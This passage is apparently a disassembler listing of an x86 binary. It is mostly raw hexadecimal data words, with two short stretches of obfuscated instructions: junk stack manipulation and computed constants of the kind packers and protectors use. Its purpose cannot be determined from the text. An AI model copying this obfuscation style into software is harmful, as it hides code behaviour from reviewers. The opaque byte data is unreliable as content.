0D2A80B67h, 0CD0AABAh, 25FF8D64h, 9B1913A1h dd 0F46C0B7Fh, 0AA3260D9h, 0D3AB7209h, 0F4FA3A31h, 6EA0FE92h dd 0F5CF7DECh, 480B7F89h, 0BE2BCD0h, 57CBA3E0h, 441CBFCAh dd 0AC9F3CBEh, 0E8295053h, 919041E9h, 63000009h, 0E41E4AEDh dd 6C96C273h, 0E01A4EEFh, 6E94C071h, 0BD1B4FECh, 6714463Ch dd 0D685C933h, 5BFC7882h, 0D180F50Fh, 0FBD2F85h, 1D47DD35h dd 6DAD0488h, 0DE104EEDh, 3F53FF9Ch, 0B73EC49Ch, 6D174E1Ah dd 0EFE549E8h, 319FCB66h, 672319ABh, 0E961756h, 66E1D7ADh dd 0A4291756h, 16C509C7h, 56678C60h, 0A24F8217h, 75214DD5h dd 0F9F341DBh, 4C175666h, 4B84F9D4h, 0E7D6170Fh, 5C0B4244h dd 567316EEh, 0FAF24017h, 4D175672h, 563AA2D5h, 0DC7DF0FAh dd 5BF87A70h, 0DF7EFDF7h, 699BD973h, 0A2D29C34h, 6531E015h dd 0E4527D1h, 5D925C34h, 0E0F595B8h, 9B8577C4h, 0B26138h dd 1CF0000h, 611045D2h, 93CDA10Dh, 57434B21h, 8526BE17h dd 421B6E20h, 4B51AE1Ch, 3CA412BCh, 3912E690h, 206E116Ch dd 0EDFA9B4h, 0BE242E24h, 6C31380Ch, 0AC24D111h, 0AF510FAFh dd 0BAE340D8h, 70h, 671E11E3h, 9AEF1756h, 402F9DC3h, 0B312BC6Fh dd 76B0A4Dh, 8A29A953h, 3DA2F26h, 0C909C75Dh, 49EA862Ah dd 0D2731433h, 1559A70Ch, 0CAA6CA66h, 0BE8B7D94h, 2E03B221h dd 0BE1D067Dh, 60D248E6h, 0B81A68Ch, 0C2C467FFh, 4841ED92h dd 883A6441h, 6E7BB7Bh, 1E16A40Eh, 0B805978Bh, 978B320Ah dd 6A1D8505h, 0DBB76894h, 0DEC2E3B7h, 9B000004h, 1C421B6Eh dd 0BC7D25AEh, 0EC40D812h, 7F2D5BB2h, 0F5C524A4h, 95B8CD12h dd 65C61434h, 6BB2291Fh, 0ABD99711h, 2387D6A2h, 4AF262Eh dd 247F0000h, 7B425786h, 7CDC9725h, 51AF12BCh, 0C3313F1Dh dd 0A432EC98h, 0C47EA4C8h, 0B8A8BD99h, 643A0316h, 0C7B55D6h dd 9C30A863h, 2CCD0CC2h, 4A4FEC80h, 0D138663Fh, 0D2A8ED21h dd 8FDD7EF7h, 21F3EB3Dh, 0D8861E5Dh, 6632DF16h, 8BB8599Ch dd 97D9F64Ch, 9DA170D8h, 6F000007h, 986236E9h, 8F2A657h dd 847E2ACBh, 0AF0A455h, 0D97F2BC8h, 0BA82A58h, 8231A55Fh dd 0FB02CD6h, 8D2CA15Bh, 53E173D9h, 1D47DF59h, 6D8920ACh dd 0BBE549E8h, 0C1310675h, 0BED2BE12h, 3411181Dh, 544FD86Ah dd 3AA212BCh, 784CFE64h, 91116C34h, 0A0E938E2h, 0A53D4A14h dd 27CE5406h, 66D72004h, 3533907Bh, 0EA4410C7h, 0AD01B224h dd 0F86462C1h, 0B3F26A06h, 87EBE823h, 6675D2Bh, 1AF3116Ch dd 0E654E3AEh, 116BE10Eh, 6CD4F961h, 61969C71h, 93651FBCh dd 98116C1Fh, 70EAB491h, 288439BEh, 769DE744h, 90CD1E7h dd 754B3D91h, 0C30B81D5h, 0C20C5F8Dh, 2C40EC91h, 0A731C78Fh dd 3B5D2839h, 4000000h, 1C421B6Eh, 67403486h, 2BB31756h dd 0A940DA88h, 0A7824227h, 0EE624F18h, 258DB73Dh, 73E49E3Dh dd 612BCB1h, 2DE3329Eh, 4D000000h, 291BA3A4h, 0C9A509A8h dd 5EE8B2E4h, 1B6E58FDh, 71AE1C42h, 8412BC56h, 6AD8421Ch dd 116C3692h, 442675BFh, 5D2AD3C6h, 6FC666C5h, 7A49E86Dh dd 0DC527225h, 715A8B23h, 43000006h, 0C43E6A0Dh, 4CB6E293h dd 0C03A6E0Fh, 4EB4E091h, 9D3B6F0Ch, 47F4661Ch, 0B665E913h dd 3BDC18E2h, 0B160956Fh, 6FDD4FE5h, 1D47E095h, 6ECD64E8h dd 0AE1C421Bh, 12BC4E19h, 86D874ECh, 3AD6AE1Ch, 0B200116Ch dd 116C3ABAh, 7AE2950Dh, 0FB96DFD9h, 30D629AFh, 4E572A33h dd 10DE755h, 0F860EA21h, 0F039C094h, 9EF94B15h, 0D1E586F0h dd 96D91749h, 0A7154BE7h, 0E436CFCDh, 77D4B820h, 0FB9ADDD7h dd 7A4356AFh, 0B86D9624h, 9800DF9Ch, 0A66E4234h, 84CADE4Ch dd 7C7B0D58h, 528BFB04h, 25000001h, 18B467EBh, 9E32DF12h dd 983D9EF2h, 85031B6Eh, 0E49D2C59h, 0BD0F513Dh, 12BCA10Ah dd 0C3C965FDh, 2BB1EF8Ah, 6C8DA399h, 2D8E1611h, 0AB468F75h dd 5F975907h, 12651FBCh, 182A3384h, 828824D5h, 6E02AE4Bh dd 0EB47F864h, 326391CFh, 0A2C5373Dh, 0E94AEB6Ch, 95CB66EFh dd 0C965185Bh, 0F05E06A5h, 53E4D86Ah, 0FD57EA21h, 2154754Fh dd 3C50C8EAh, 0A554999Fh, 4A087F09h, 0E25C02E8h, 1B02572h dd 0ED26AF55h, 0FBA5C968h, 1B11C035h, 38983BD6h dd 451BEE31h, 0D61A1DF7h, 9CC850C2h, 0AB2F1465h, 0A4C8A408h dd 0A748FAh, 29ABE3Ch, 0C131A4AEh, 89C5487Eh, 0DBD163D2h dd 2EBCEBEDh, 0E2B6DAB6h, 7A24D518h, 3C9041B4h, 2553F350h dd 0BCEBEE37h, 0DAE113ADh, 0C84F8093h, 2844E889h, 70E2E844h dd 34A5AFC3h, 29452985h, 0E5A3FB7Dh, 69AC0897h, 0EC76D88Ch dd 790FAC22h, 4897B583h, 0CBCD6EF6h, 257BD782h, 39AE90CCh dd 16B5911Dh, 5388286Ch, 0F73923C2h, 117DD184h, 3784F0B2h dd 0BD4713BEh, 3C359938h, 0AB822EDh, 0C2508832h, 916B1D85h dd 0E4C25088h, 5704767Ch, 0CD7653Bh, 0FFBDB66Ah, 749D3367h dd 0C95CE0EDh, 3FE24184h, 58h, 421B6E66h, 4034861Ch, 0B3175667h dd 68DA882Bh, 12BC7DF7h, 13394AA3h, 88C6C190h, 1C310F59h dd 0A2016E09h, 0D11F41D9h, 7A72C0A1h, 0CD116BCEh, 0F9953955h dd 7FF0FA5Ah, 0CD248ADEh, 0D9F57F26h, 0AC4F8711h, 0A3006C00h dd 8B140682h, 41F3AD84h, 116BB463h, 52EB4ED6h, 1D49E86Dh dd 96C895E4h, 0BC6DEB24h, 0D8861E12h, 6531E616h, 9ADC5D9Fh dd 303995F9h, 0A89C2EE9h, 1B116C5Bh, 0FA87AE83h, 0B5FE4556h dd 0AA3587D9h, 1D0CD1CAh, 695F2985h, 0A20B81BBh, 62D08E57h dd 6E78459h, 0AED874ECh, 59770DAh, 0F1FC6826h, 224F4307h dd 2A77h, 1B6E2E00h, 66EAC270h, 0C55D1756h, 0D245F7A9h dd 6512BC7Dh, 0F739A3FDh, 127ED285h, 6C4D9064h, 0D87BE311h dd 20A978h, 6EF00000h, 861C421Bh, 66D6AE1Ch, 0B1291756h dd 572F6812h, 0DA4212BCh, 6B084A84h, 0EF4CF361h, 0E86DE64Fh dd 72277A49h, 0F55DDC52h, 37724h, 6C134500h, 0E88DC238h dd 601546BCh, 0EE8BCE34h, 611240BAh, 90129335h, 1FE5B162h dd 8A7024D7h, 3BC1954Ah, 0F95307B2h, 0E2E3D96Bh, 0DA561D47h dd 49E86D73h, 0CB66EFE5h, 0C7BD0F95h, 3A175666h, 0F75901A2h dd 38E8846Dh, 1D877531h, 5745916Bh, 0DF7CE417h, 0A8F6CFDAh dd 0BD53CD1Ah, 0A1138912h, 116D30CBh, 7E05A63Eh, 4C3C4AE6h dd 0B4116D31h, 0B5438AFAh, 0C12E2507h, 45h, 7FF73998h dd 2F7A7FDCh, 7C10C130h, 487B9022h, 0E92712BCh, 965C968h dd 0AB2FD1AAh, 2CAEA408h, 69E9E38Fh, 660A66CAh, 37CCBCCAh dd 7A34116Ch, 0A35C30Ah, 0A34A2E24h, 7BABD940h, 0E9B01396h dd 0D8h, 49E86DB0h, 0BB52BBE5h, 0C55D029Eh, 52808625h dd 0CE070DA1h, 0D611045h, 0AF16FFA1h, 4BB39DFh, 416AA929h dd 0C071E4E2h, 1DD33A94h, 1D5BA4A0h, 0EF3E44E7h, 0A31756AEh dd 75DB8F2Ah, 0AE675DEFh, 42DA1756h, 0C36EE7E1h, 4A13666Fh dd 0E59ADA14h, 29A61446h, 0F512BCA9h, 168EBB1Ch, 7E5E306Fh dd 0F8B39EB1h, 5A218210h, 1A6F96C2h, 35871D43h, 116CB03Fh dd 0DB892AB2h, 0A94C8F41h, 0B0CA6905h, 0CD101E4h, 13C430FEh dd 0D53CBB0h, 0B8EC8FC3h, 50631042h, 0E8290807h, 1904D57Dh dd 0EB000002h, 1CE6B265h, 946E3ADBh, 18E2B667h, 966C38D9h dd 45E3B764h, 9F3CBEC4h, 1EBD31CBh, 9344B04Ah, 19B83DC7h dd 0C775E74Dh, 1D47E3EDh, 6D65CC40h, 0E01A4EEDh, 0C198CC6Dh dd 0C2701B6Eh, 175666EAh, 630B707h, 7F083A60h, 4FD58BE7h dd 56CA07FDh, 41E27A17h, 0ABAAA113h, 0A35D12BCh, 0C968E92Ah dd 6F6509A5h, 8BE74BE6h, 0DB154BE7h, 69ECE699h, 0AB0864C8h dd 6C9ADFD1h, 0E5175911h, 246CF098h, 0D11C2Eh, 7CB20000h dd 9AF65AFBh, 0E86D9C39h, 660AAD2Fh, 0E285F638h, 56675C50h dd 5B37AF17h, 0D37F1E51h, 0B6BC1CBFh, 653B9744h, 67774DFFh dd 52CA1756h, 625A8BF1h, 0CE001756h, 4A4CEF8Ch, 0AC025603h dd 0EE4DF262h, 18B465E8h, 633D0811h, 0BC5D36D1h, 551C912h dd 8ED0ADFCh, 8299DA14h, 6D01AD52h, 0ABD8A201h, 5E0CD0AFh dd 245698C6h, 7EFDF745h, 0E8700B7Fh, 0E47ED084h, 7F7F5E56h dd 0EA49D10Bh, 31FF6EECh, 916B1DBCh, 0E40B7F7Fh, 0C23107Ch dd 18E8295Ah, 0FA61B0h, 88C80000h, 0F67983D7h, 6AE91347h dd 0F4659FCBh, 67EB1145h, 0C746E0B4h, 0CC983BBFh, 4713C036h dd 0CC983FBDh, 4612BF36h, 0F8CC7EECh, 4B1D47E4h, 0ED6D6EC7h dd 6DE01A4Eh, 6DC198CCh, 0EFE549E8h, 8F2EAD66h, 0F5A42923h dd 35593559h, 0B4919861h, 165958EAh, 2A812A7h, 64F3BCB0h dd 0A0942611h, 131164F3h, 864FC8Bh, 0CB27AEA4h, 2FA3D42Dh dd 614C208Ch, 462AF780h, 0F3A0D618h, 7BF20850h, 0D4E80DEh dd 1D6BCB68h, 60359779h, 83170575h, 88B4CAF7h, 0C29C305Ch dd 0F4167C70h, 5D57CF9Fh, 0DCD67A19h, 3854F899h, 45A6D668h dd 0F415FDF7h, 84E8709Fh, 4453818Bh, 9A346011h, 54289A00h dd 0A79FF416h, 1673493Fh, 5EC69FF4h, 0C772FBFDh, 61AF356Bh dd 83EF43F2h, 0F415FFF5h, 49EA729Fh, 0C36F0A4Fh, 0F8BF2D93h dd 6A90C475h, 4B9A36E3h, 8, 0F7A22BE5h, 0A508F154h, 9834EB6Dh dd 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh dd 8E22CF02h, 0AA65784h, 822ECF00h, 0E78957E9h, 4BE56h dd 0F7010000h, 4EF835Eh, 5C243C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 4961h mov [esp], edx push ecx push edx mov edx, 4AF66AA5h mov ecx, 87C78D6Ah sub ecx, edx pop edx add ecx, 0C920509Dh mov eax, ecx pop ecx push 4C76h mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], eax pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- db 79h dd 7B73B324h, 0B8A0A75Eh, 5F17FC4h, 0E0FFC503h, 3D7A3E12h dd 191BAD82h, 591DE59Ah, 41A0E621h, 45DD3CC0h, 29912E57h dd 3D8D9D43h, 18806B49h, 1DCFEB9Fh, 7D2CC076h, 5C36914Ah dd 729AEB3Ch, 31FD701Dh, 20996111h, 3B09E72Bh, 0F85AF75h dd 25A6B0C8h, 5C037DECh, 763FCAB7h, 6AF956A8h, 4C3E3D2h dd 0D974629h, 596D0C4h, 5886A4A1h, 77C0E894h, 0CEF394Ch dd 0C0801Dh, 64E891E1h, 57692814h, 6B58C732h, 52B274FBh dd 0FC9E7ADh, 0F8C704EBh, 82E93988h, 0B3000005h, 34CE9A3Dh dd 0BC4612C3h, 30CA9E3Fh, 0BE4410C1h, 6DCB9F3Ch, 0B76496ECh dd 26D519E3h, 0AB4C8872h, 21D005FFh, 0FF4DDF75h, 1D47E705h dd 6D5DF478h, 0F4A72FE8h, 0BE3E3458h, 0B5D9B519h, 0E9C371EBh dd 5C175666h, 0CDC767C4h, 40BAEE8Dh, 0CAC06C0Dh, 707AD683h dd 0FDF25EFFh, 0BF3685F7h, 72E84612h, 5666ECC0h, 64C75F17h dd 134DF262h, 507DF9FAh, 0D774CC8Ch, 5007758Fh, 0CC4BA2FCh dd 0E4C3672Fh, 84E48EBh, 412DCC0Dh, 0D103BDEDh, 3CB38ACAh dd 74593599h, 96D54264h, 5608640Dh, 94B95A98h, 0ECB2C40Fh dd 6F3794ECh, 1DB16095h, 0AE4D8D43h, 0B7CD6E02h, 1756E3C0h dd 0BDC83476h, 340EB5CBh, 863Bh, 125B9500h, 3961C467h dd 671B11A3h, 0F66E1756h, 94A93DDBh, 0CA6971A1h, 44E889CCh dd 574F4032h, 5698CA17h, 0B1DD7126h, 0D9245012h, 340F212Fh dd 15Fh, 0A3390600h, 56671B11h, 55F66E17h, 0F94B1C53h dd 17566703h, 966EDC76h, 0E9175667h, 0DD711D71h, 0A3FDA0D7h dd 94C41A4Ah, 979DB061h, 78D87B6Ch, 0C52FF72h, 12502496h dd 3BA31757h, 3D373898h, 0D687C8CFh, 44F57882h, 0F657BE10h dd 7F2B41B4h, 6DB114B7h, 0B0957CEDh, 0BDDD1BABh, 1AE9C3B5h dd 0C45C1757h, 0C90E04A8h, 5E10B814h, 7AF33D2Eh, 0F87A7CDFh dd 48A10F5Bh, 9C6F92C2h, 9B9D3E0Bh, 10BA752h, 0C9A311D2h dd 3C175694h, 6E64C8A4h, 0ECE64AE7h, 0C860CC6Dh, 10415686h dd 2F710D61h, 6D18DCC6h, 1CBF3E13h, 0F33D2E5Eh, 7B71DD80h dd 9BF75BF6h, 5C1C54F7h, 0A3340E75h, 0E74BEA6Dh, 7D71288Bh dd 28000000h, 0E24EED6Dh, 66CA6BE8h, 0E448E96Ch, 62CE6BEEh dd 0C0F5676Dh, 0D81BD5CFh, 46E58925h, 5997D804h, 0A5C96514h dd 47D20006h, 0C4CE6215h, 8288E495h, 630FA350h, 3BF55B0Fh dd 0C4A804B7h, 42F16167h, 0F675E4EEh, 56677044h, 0BA3DC317h dd 0B71B771Bh, 0E5785CBh, 340E3F6Ah, 429Ah, 0ED6DC300h dd 6CE8E24Eh, 0B4A01D8Ah, 567B80D7h, 671851B1h, 0E34F23E2h dd 2C6B99C7h, 590DAEh, 154BEA6Dh, 42A094DBh, 9F9CAFE5h dd 51F1523Eh, 57295027h, 38A4E617h, 0EFB5B2Dh, 1AB34h dd 6DF20000h, 0E9E34FEEh, 4919B564h, 0C53685F7h, 24EA4410h dd 0C1AD01B2h, 4B126762h, 473D8F15h, 0BA175667h, 0A661744h dd 6649FBA9h, 0D912BC44h, 610DB027h, 0E38EC7CDh, 69084DB7h dd 41BFB3C5h, 35D116Ch, 1D509ED1h, 9C90227Ch, 0EF116C41h dd 9BD2D477h, 0D4B85998h, 46F37A80h, 0CC6DE0EAh, 30E56A60h dd 0B065969Ch, 8AFAB41Ch, 5F8DC36Bh, 30641558h, 7D1E509Eh dd 70B6FCD1h, 39EA511Bh, 30AC7855h, 0FAB15025h, 20671159h dd 73972E24h, 0CE000001h, 3E031B6Eh, 0FC54819Fh, 0BE0C523Eh dd 12BD2229h, 0E2E844DCh, 8A2BA86Bh, 9022B8E6h, 116CFE9Ch dd 8CD477EFh, 0C534FF76h, 0DED47814h, 0FE56FA97h, 34E96EA0h dd 44A7D597h, 3A96438Ah, 7AF3F556h, 0CC258BDFh, 6B858434h dd 1C54F736h, 2E24646Ch, 4D98h, 0F739C100h, 7A7FDC7Fh dd 960C523Bh, 0AD3FE50Ch, 0F82C1082h, 5689B68Eh, 32910917h dd 568AA448h, 0A30F9717h, 5689DFD5h, 9FCD8F17h, 34721A1Bh dd 20429D01h, 0C87A2448h, 1756E124h, 0FADB8F17h, 0DAh dd 596DBD54h, 0D94A316Ch, 0A339DF7Ah, 56671B11h, 55F66E17h dd 227C4950h, 0BC452390h, 57E57F12h, 116C435Dh, 90EB48D0h dd 27AEA408h, 0B124DE8Ah, 42AC8032h, 0F162116Ch, 0CFA33B4Ch dd 42E81563h, 8AC4116Ch, 0C7641544h, 0D405785h, 4218EC5Eh dd 0C16B116Ch, 6C427973h, 3854CC11h, 93C40A54h, 81224EE2h dd 0CD920D9h, 0C1BBE052h, 248E0CBDh, 7AC09E96h, 3EC8110Bh dd 96E9ABD7h, 2D81ED81h, 0AB31AE27h, 7B342319h, 780E960Bh dd 0B7B3484h, 83316FF7h, 0B7B33A9h, 44E8841Ch, 0C76B084Eh dd 46EA89CDh, 3334A0EEh, 7B33AB81h, 0EA861E0Bh, 408E14BAh dd 20146213h, 930B7B34h, 7AEAA80Bh, 4C12EB3Eh, 38D918D6h dd 0B3BAE19Bh, 738D06CCh, 0FEF458FBh, 0DEB2DE7Bh, 0F739D38Ah dd 7570D37Eh, 0C9075924h, 184AE988h, 0A7E681AAh, 40EC7412h dd 0C430034Ah, 2823A152h, 3A5661BAh, 1492A517h, 4A262B5Ah dd 0A671E41Eh, 4CE08C31h, 3D276C3Ah, 0A3392325h, 0EAF71B11h dd 55F66ED4h, 9FD6E517h, 8436ACF2h, 0D4EAF6B0h, 60389B03h dd 0AA6539Ah, 7E20D100h, 0CD9344B0h, 0EAF7857Fh, 0C360F8D4h dd 5F8D3363h, 30641558h, 7AD683CAh, 0CABh, 0B9EC0500h dd 0BF3D10DBh, 8C366C5h, 34EB6DA5h, 0BE5B9298h, 3BDC1812h dd 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh dd 2ECF000Ah, 5455E982h, 4C5815Dh, 83000000h, 2C8704EDh dd 66685C24h, 89000006h, 89532414h, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 2434895Ch, 55B85051h, 0B9001A51h, 5EBD18Bh dd 8958C131h, 846859CAh, 8900002Ah, 4832424h, 505E0424h dd 8BB53h, 0D8890000h, 89F0015Bh, 34FF5810h, 0C4835E24h dd 2434FF04h, 4C4815Ah, 0E9000000h, 0FFF8F81Eh, 54C1C5Fh dd 85E9B8A8h, 0C50305F1h, 9402E0FFh, 8F7619Eh, 0E9570CF8h dd 0EE303CB0h, 0EC256FCCh, 0C84015F2h, 20D90A82h, 2260B17h dd 987356CAh, 2E9C6C2Ah, 0BE336ADEh, 47B52EC7h, 4EB01A4h dd 1EAE9D6Ah, 572E9h, 0D087C900h, 44F97E84h, 0B469EA10h dd 3AD71AE0h, 0B566946Eh, 0BCC647E1h, 33C99D3Eh, 0B64C18BBh dd 3FC59146h, 0E54F1BB6h, 0ECEFC577h, 0CE421D47h, 11A33967h dd 1756671Bh, 5355F66Eh, 8DD37F1Ah, 0C36F0A43h, 0C80A0CAFh dd 0C36F0E4Dh, 85E988C9h, 3894478Fh, 0FC663854h, 6B1DC232h dd 17566791h, 3767CE4h, 3596FA56h, 0F25E976Dh, 0DAE5E11Ch dd 0D28CE0BAh, 1302FA48h, 0ED751757h, 71E4EE4Eh, 0DB326CC0h dd 7C7711DCh, 2B2D8EB9h, 525DF1A4h, 0E66F2C58h, 630FAE2Dh dd 0E88FCD37h, 611646BCh, 0EC8FC7CDh, 3EAE1040h, 1044FB79h dd 1AB663EAh, 57169B6Ch, 7BE9AB17h, 0EE88672h, 57F634h dd 6DAF0000h, 93E549E8h, 1756669Fh, 727BE9ABh, 340E3886h dd 1F6h, 0EA6DAF00h, 6AEDE74Bh, 0BD0F95CBh, 175666C7h dd 0C16D1047h, 0E142DAADh, 6B064B41h, 92C2C8C7h, 7D23D205h dd 0C39AFE94h, 0C1629598h, 1FAD3799h, 17573325h, 0A5A30098h dd 0CC6FE730h, 34600C60h, 4EED6D6Dh, 0D067E8E2h, 0BC5F97A2h dd 0BC107C10h, 0FA9643B6h, 0DC923A96h, 5956BFB0h, 0FE30E065h dd 0FA55EF99h, 0F29E0976h, 6AC677F8h, 2FA3A506h, 0AB22D88Ch dd 2BA8A20Eh, 0FC4ED48Ah, 1756A708h, 0A756857Bh, 0B4C868CBh dd 0B0598AFAh, 5F8C0F05h, 0D89033C3h, 340EBA20h, 754FFD67h dd 0C81756D8h, 0A6AAF350h, 0F3000000h, 0B485F739h, 51FD9142h dd 5A989E3Dh, 854B15B9h, 0E291C156h, 0ED4E228Eh, 19B568EBh dd 0ABF01C16h dd 0DA207427h, 5D57FB98h, 0ADD17D1Ch, 0E1DB69F3h, 54175666h dd 4C2092CCh, 0BF175667h, 96C68427h, 0E3FA94Fh, 8DD534h dd 0B57B0000h, 93369544h, 0E24EED6Dh, 5C0172BCh, 393F9CF0h dd 945A04BBh, 0B616B566h, 309C3DBCh, 0AC00B53Ah, 676C40F2h dd 47DF1756h, 233A1EFh, 40F26826h, 1756676Ch, 0A6E447DFh dd 42F16136h, 4034861Ch, 0B3175667h, 0AF7CC66Ah, 0E62BBC8h dd 955BF5ADh, 761AB665h, 0FD5EFF7Ch, 2DEA6D58h, 0CEA20EADh dd 87780EA2h, 0BF175667h, 0B2468FFDh, 0C9340E39h, 87F35920h dd 670BA752h, 69ADB34Ah, 563AE1DBh, 0A0CC5417h, 15A03h dd 6D030000h, 0B4A429EEh, 26822D3Fh, 0EA2CE1Eh, 0CA500E62h dd 56B88478h, 0CC6FF717h, 42EF666Ch, 4034861Ch, 0B31756B8h dd 2228882Bh, 0A4AE02AFh, 92D8132h, 0A0F02557h, 2AA9EE1Eh dd 0D326DF8Bh, 0DC81F638h, 926A1C70h, 0E51756B8h, 814F117Dh dd 630FA352h, 920892C0h, 0D37F205Ch, 0B7F3C9BFh, 0DE461756h dd 9520077Dh, 6D9312BCh, 705008E8h, 7E555479h, 8CD27E12h dd 0CF631042h, 0CF0600A3h, 54E67C22h, 116C7260h, 0B0E84BD3h dd 856034Ah, 5F94F4E1h, 959FBC7Fh, 7519B564h, 320076D6h dd 0D2116D0Bh, 125B608Ch, 84C93367h, 0FA7379D5h, 6CE8015Fh dd 1946C58Fh, 0A53416D5h, 0E18D20FDh, 44AE242h, 0C30D97D8h dd 2844E88Bh, 6CC0665Eh, 0E241D911h, 3D8171E4h, 0DE7984F9h dd 8D396D01h, 2E2532FBh, 54289A00h, 0A7116D55h, 2C59C3Fh dd 6B000001h, 609E5982h, 94EB180h, 3E9B3854h, 1C421B6Eh dd 0BC7439AEh, 0A22BE512h, 0B72F54F7h, 0DB027E9h, 0D1040EAEh dd 478E7420h, 965806AAh, 43B6BC61h, 0BA333596h, 0B93DFA79h dd 0B6DAB61Ah, 90DE76DAh, 8ACD0364h, 212B47EBh, 0CEA20EADh dd 37E26B6Dh, 2321D763h, 346D2E24h, 34000000h, 104E276Eh dd 5666FAA2h, 0A42AE417h, 0D2BE5D91h, 5203747Eh, 7EE69D3Eh dd 65D0A4D2h, 0BCFE1756h, 604D4850h, 65E88C3Eh, 43DB1756h dd 733617h, 6E6F0000h, 0D21C421Bh, 555FF3A0h, 0B0DC7027h dd 9F2D7FDCh, 12BC452Ch, 6D47F55Fh, 0C0116C43h, 6804B93Eh dd 2BA2A804h, 0AD20DA8Eh, 0A7D6A00Ch, 5116C42h, 5B92295Bh dd 613EABEh, 41C5BF0Dh, 0A038116Ch, 0B92092CCh, 80CBDBBh dd 0AC623C90h, 2D2B8829h, 0F5A509A8h, 7881194Bh, 0BA3DF3ADh dd 0F6DBB71Bh, 0F43F754Eh, 7725860Fh, 0CC225CC5h, 6733AB06h dd 421B6E3Eh, 0C48861Ch, 8ABC76Bh, 0A7E0E772h, 3CB17F12h dd 0DD453E9Dh, 0D1AB1983h, 241164E0h, 0B5BF1FBCh, 26CF9140h dd 0BA3A8BCCh, 0E8C5A905h, 13B0DE18h, 0DC3CB14Bh, 16ED0D6Ch dd 50249644h, 0A31164E2h, 653B573Bh, 23358E8Ch, 0E34069BEh dd 85A3543h, 1F150618h, 8A27AEEDh, 32B124DEh, 5E5AC80h dd 0EB871FF6h, 6D0C4D47h, 0BD2F91C1h, 8EDA77FEh, 0FC500174h dd 32Dh, 0A5087400h, 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh dd 913DDE1Ch, 8A4579Bh, 8E22CF02h, 0AA65784h, 822ECF00h dd 0E68956E9h, 4C681h, 0EE830000h, 74FF5604h, 8F5E0424h dd 685C2404h, 41ABh, 68241489h, 70CCh, 68242C89h, 5F186A4h dd 8324148Bh, 0EC8104C4h, 4, 81242489h, 42404h, 685D0000h dd 7F63h, 8F241489h, 2C8B0845h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 24148B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h dd 0FFF8F272h, 0B19CF96Ah, 2CA4533Ah, 106F1199h, 0B8B63291h dd 5F18B90h, 0E0FFC503h, 6DEBEEC3h, 12CEEF4Dh, 757E3131h dd 5FB02408h, 12488FDEh, 51997764h, 0C11D336h, 2B035249h dd 52D14034h, 8D068D8Dh, 6A05F1h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 6653DCC3h, 0B529E32Ch dd 5EA1B15h, 0ADD8D89h, 6A05EAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0DF7E0FC3h, 0ADC1230Ah dd 0ACD85C7h, 5E6C05EAh, 0E9500000h, 0Dh, 0CC32D78Bh, 0FD56CC8Dh dd 29FCE46Ah, 85C75FDEh, 5EA25F5h, 0 dd 0FFF8B70Fh, 0EA0BFDB5h, 1DB50105h, 8905EA17h, 0EA1B85BDh dd 1995FF05h, 6A05EA2Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 506FC350h, 3430E078h dd 0E1CE96A6h, 95FF006Ah, 5EA1015h, 78EBC08Bh, 7B110D12h dd 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh, 9A1520FDh dd 79899Ah, 0A8993585h, 1BDE69B4h, 4F431D26h, 0BD131041h dd 0CFC2886Ch, 9A3C3924h, 126E221Bh, 0DAC255A9h, 7F571CF8h dd 5074B00h, 6A2D21B1h, 0F4FADAF4h, 0AD7E6DAAh, 0ECDE80A3h dd 1477A06Dh, 516CD478h, 941F4E0Dh, 3C9F8F52h, 1FD6B180h dd 0D78EBCECh, 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 0DD4104EBh dd 0DEE93624h, 0E3000004h, 649ECA6Dh, 0EC1642F3h, 609ACE6Fh dd 0EE1440F1h, 3D9BCF6Ch, 0E794C6BCh, 560549B3h, 0DB7CF802h dd 5100758Fh, 8F3DAF05h, 1D47F3B5h, 6D2D8408h, 0F5A82FE8h dd 7593559h, 46EA89C9h, 2329892Ah, 0A2580CAFh, 0D79ACF2Bh dd 0B9E6333Dh, 0C4E98534h, 745219CFh, 5CF09C7Fh, 0DE721F56h dd 5EF2A3D4h, 63D14B51h, 1756C089h, 0ED6E64FCh, 2B88E448h dd 39BCFB69h, 0C636CC98h, 3DBF4511h, 0BA3C369Ah, 5BE5B519h dd 0D12FC629h, 0DE663868h, 55878122h, 0C90CF6A2h, 36B87628h dd 0E6452985h, 0E23F3046h, 0B5F71756h, 0B44A3E47h, 4FBA340Eh dd 0E3000000h, 0D083F739h, 0B5B3107Ch, 4B3D9140h, 17566777h dd 4A93C183h, 340E39BEh, 1CEh, 0EA6D9700h, 6AEDE74Bh, 0EC6D67CBh dd 0E4EEE14Dh, 48AC2378h, 0E1A7E60Ah, 0DB72C802h, 3C5FDADFh dd 0F8623C50h, 56FD724Ah, 0FE5DC517h, 78195CA6h, 0ED6D752Ch dd 72BCE24Eh, 9DF15D02h, 1DB16497h, 0A3D4D271h, 0B8F65EF2h dd 0A5D51B4Ch, 0DCB06190h, 5AF9797Fh, 0D081F40Eh, 5005767Ch dd 9ECE80FCh, 0E3F9157h, 83FD34h, 0BA530000h, 66ECF7E5h dd 8C298A25h, 0E24EED6Dh, 66CA6BE8h, 0AAF16369h, 25DF8B28h dd 965806B5h, 0B313B065h, 0C79938B9h, 6715EF5Dh, 0F0681756h dd 7AF9F353h, 0FA7D77DBh, 0B31FBE3Dh, 0B51FB3DFh, 2C5085F7h dd 0DEBF262h, 79340E3Fh, 4Ch, 11A33920h, 1756671Bh, 5355F66Eh dd 0CB227C1Fh, 5B049EADh, 24842705h, 0A509AE2Eh, 0DB1227AFh dd 92FE923Eh, 17C8343Eh, 